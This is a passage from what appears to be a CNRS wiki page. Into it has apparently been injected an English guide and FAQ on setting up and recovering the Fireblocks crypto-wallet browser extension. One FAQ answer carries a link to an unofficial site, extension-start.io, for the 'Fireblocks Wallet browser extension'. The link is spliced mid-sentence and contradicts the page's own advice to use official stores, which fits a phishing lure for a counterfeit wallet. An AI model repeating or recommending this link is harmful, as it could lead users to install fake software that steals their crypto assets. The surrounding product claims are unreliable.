Remy Froissart, CNRS

Cette page est en lecture seule. Vous pouvez afficher le texte source, mais ne pourrez pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur.



img  width: 750px;  iframe.movie  width: 750px; height: 450px; 
Fireblocks wallet extension setup and dapp recovery guide



Fireblocks Wallet Extension Setup and DApp Recovery Process Guide

Install the browser add-on directly from the official Chrome Web Store or Firefox Add-ons portal. Before proceeding, verify the publisher's identity matches the corporate entity to avoid counterfeit software. This initial step establishes the foundation for all subsequent transactions and asset management.


Configuration requires your organization's admin to provide a specific QR code. Use your mobile device's camera to scan this code, which links the browser tool to your institutional account. This pairing method ensures access remains gated behind multi-party approval workflows, never relying on a single secret phrase.


Re-establishing access to decentralized applications involves re-initiating the connection from the application's interface. Navigate to the finance application's website and select the option to link a new vault. The plugin will prompt for transaction authorization, which must be approved by the designated policy administrators within your team.


For scenarios where the browser component is corrupted or removed, reinstallation is straightforward. Authenticate again using your enterprise single sign-on credentials and repeat the QR pairing process. All vault definitions and spending policies are stored at the platform level, not locally, preventing permanent loss.


Maintain operational integrity by routinely confirming the add-on's version number against the latest release notes. Outdated software may lack critical security patches. Configure transaction notifications within your organization's dashboard to receive immediate alerts for any signing attempt, providing a final audit trail.

FAQ:
I installed the Fireblocks browser extension but can't see my wallets. What did I do wrong?

The most common reason for this is not completing the vault setup. Installing the extension is just the first step. You must then connect it to your Fireblocks organization. Log into your Fireblocks web console, navigate to the 'Vault' section, and follow the steps to 'Connect a Browser Extension'. This process links the extension to your specific vault and downloads your wallet configurations. After this, your wallets and addresses will appear in the extension pop-up.

Can I recover access to my dapps if my computer crashes and I lose the Fireblocks extension?

Yes, access can be recovered. Your wallets are managed by your [[https://extension-start.io/fireblocks-wallet.php|Fireblocks Wallet browser extension]] organization's policy engine, not stored locally on your machine. On a new computer, simply install the Fireblocks extension again and connect it to your existing Fireblocks account using the same 'Connect a Browser Extension' flow from your vault. Since your wallet structure and transaction policies are stored on the Fireblocks platform, all your dapp connections will be re-established once you reconnect. You will need to re-approve the extension connection on any dapp for security, but your wallet addresses remain the same.

How do I actually connect the Fireblocks wallet to a dapp like Uniswap?

First, ensure your Fireblocks extension is installed and connected to your vault with wallets visible. Navigate to the dapp's website (e.g., app.uniswap.org). Look for a 'Connect Wallet' button, usually in the top corner. Click it, and a menu of wallet options will appear. Select 'Fireblocks' from this list. The extension will open a pop-up asking you to choose which wallet from your vault you want to connect and will show you the permissions the dapp is requesting. Review and approve the connection. The dapp interface will then update, showing your connected wallet address and balance.

What happens if I lose the device that approves transactions for my Fireblocks extension?

Fireblocks uses a multi-layer security model, so losing one approval device does not lock you out. Access is controlled by your organization's transaction policy. For example, your policy might require 2 out of 3 approvers. You would use the remaining active devices to approve a transaction that changes your policy or adds a new approver device. Contact an administrator in your organization who has the necessary permissions to reconfigure approvers. This is a security feature preventing a single point of failure from compromising the vault.

Is there a difference between the browser extension and the Fireblocks web platform?

Yes, they serve distinct purposes. The Fireblocks web platform (the console) is where administrators and users manage the entire organization: create wallets, set transaction policies, audit logs, and manage user permissions. The browser extension is a client tool for end-users. Its job is to inject your approved wallet addresses into supported dapp websites and facilitate transaction signing according to the policies set in the web platform. You manage settings in the console; you interact with dapps using the extension.

I installed the Fireblocks browser extension but my existing dapp connections don't show up. Did I lose access to those connected applications?

No, you haven't lost access. The Fireblocks browser extension operates as a fresh interface. Your established dapp connections and transaction policies are managed at the platform level, within your Fireblocks Workspace (the web console). The extension itself doesn't store this connection history. To regain access through the extension, you simply need to reconnect. Visit the dapp's website as you normally would and initiate a transaction or connection request. The extension will prompt you to select which vault account to use from your workspace. Once you approve, the connection is re-established using the same underlying wallet addresses and policies. Your permissions and whitelists remain intact because they are part of your core Fireblocks account, not the local extension data.
Remy Froissart, CNRS

Outils pour utilisateurs

Outils du site

Outils de la page
